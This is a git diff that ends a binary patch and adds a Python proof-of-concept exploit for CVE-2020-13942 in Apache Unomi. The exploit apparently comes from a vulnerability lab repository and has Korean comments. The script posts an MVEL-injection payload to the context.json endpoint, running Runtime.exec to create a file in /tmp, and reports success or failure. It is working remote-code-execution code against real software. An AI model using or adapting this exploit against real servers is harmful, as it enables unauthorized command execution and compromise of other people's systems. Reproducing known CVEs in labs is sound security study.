z25ulGkiZ@v#((w5XY9?P0%_gBffFF)rL9JwEdkc&`|&%j`Bxm?D3AF>BaS3s&;$J2 zk3$n6e%_m2;?WtKyK8f_2`WF_DM34oR4WX8s5d%PGV z1AsjuMb4Rkc)Ay}4IFN;l*d44%$AB=0wI!Y#UPhVG!g2b8>p^8d~$sT)VcC5s^x{p zqQxiBMkEeDaP9!mdVeroI24WLG^=idCjk;K5XQO;+Vg({bqENeLONg?0r>*?0c=Ee z06m34>4GjEpX{NxUV{P-`Ud?fO|(1((hRX ztnE}1f4((k**GN~KWPkeJDhIZ9c1KrupK2;*!@0O-^hTBV@rIp@GfJ`bVNHe3q9R> z%~YWMS?rnvw@_|6L@VQ8r)&33eg`WC%qbA_P@Uw}-8f8-R8`UMx(DI83;d&) z%Cwm7)8UhH#WTBWn}99QAI+2VsDA@I@@%?A(rT0fu~tKVHr^LA$U}f4dTd@^oSy@w z1-6-=aa+scYeB)|`uOIAmOKBofPIk3_XwbBymm*bU*8w3)C0`yxc|QS!CaMl>=J0A3wKkYhNM!$DQ^-hd zGl>A)=8EcLv@!`KDPXpkY;fZQ{sM3Sa&uMA;nBio&&XHo^7++FLx}C!fdS}7e{hoT zzXq%?70M0RB#?(&zX}nib&HP^*8hb0Pl?r zv@FW-4RqZE>@;`VW00-D;oX`cgOHEBOAYoJ+`9=GiK2351_);BBbcv_VIlK<99H%VT?cTS-SJ z9FR1i!S9gUNVx;PIftoyo>4A2=N6{VjXU=bhL*0^g0X%)58CPHq$9Mrs|JT1L6Xym zf9xJfy;`&(uT)h5rFP&3#N$8hVPZ!pNnatzxB%_lgd_()tFNy|_*E`F)ecM<%~!xI zza?{gVh22=@F$SxU>DZC6i$h~8&R974=PQE;?+8OOrXA-KQqOUm3&8j8h~%OVwU%N z&y}9;*z1r3tOmcsrJkyltcba_E|%@3GS=~3wF?-;j1l}*JiBe5ZG8a?A!@$lRJm|=Co84<3 zp8-}SpuK3C(uQ$*mrk=6zUZ8@9ykq=85gQ!#wOVdEWd5s7nR?uWbfd8nfMe`H7KS#jlIr2d*^+7Wxz7EO}NQ zR1gHutP5}F+Ze8_4=N;QbpYF&!0E<4QgQ3eUk1McuGRs@@4xa@wO^|C&f5O^#YW(% zN%5C%+TFARcBw(fRy2gn1D=`zoB|ctCL_SrTJYqAU>v_kKzPnP;k}<&8rH4T+p=W~ zgQb_g@XagDi!^{sjIY(6HB0(^8`$?T*EybHqc-`|neEVC$j5W1X2^yEC+$Hyn<_u2 zo!yo4wL#>#S;;y3$mHb3%Nj$cyft)#R;)KAuFTT__8owOsNXXLTAdVuD^P%2uz<_{ zE}1Q96ta6 literal 0 HcmV?d00001 diff --git a/unomi/CVE-2020-13942/poc.py b/unomi/CVE-2020-13942/poc.py new file mode 100644 index 000000000..d7ad3302a --- /dev/null +++ b/unomi/CVE-2020-13942/poc.py @@ -0,0 +1,41 @@ +import requests + +# 1. 공격할 서버 주소 (Apache Unomi 기본 포트 8181) +url = "http://localhost:8181/context.json" + +# 2. JSON 데이터 (MVEL Injection) +payload = { + "filters": [ + { + "id": "sample", + "filters": [ + { + "condition": { + "parameterValues": { + "propertyName": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");", + "comparisonOperator": "equals", + "propertyValue": "male" + }, + "type": "profilePropertyCondition" + } + } + ] + } + ], + "sessionId": "sample" +} + +# 3. 서버로 공격 전송 +print("[*] 악성 페이로드를 전송합니다...") + +try: + response = requests.post(url, json=payload) + print(f"[-] 서버 응답 코드: {response.status_code}") + + if response.status_code == 200: + print("[+] 공격 성공! 서버 컨테이너 내부의 /tmp/ 폴더를 확인해보세요.") + else: + print("[!] 서버가 공격을 거절했습니다. 내용을 다시 확인해보세요.") + +except requests.exceptions.ConnectionError: + print("[!] 연결 실패! 도커 컨테이너(서버)가 아직 켜지는 중일 수 있습니다. 1분 정도 기다렸다가 다시 실행해보세요.") \ No newline at end of file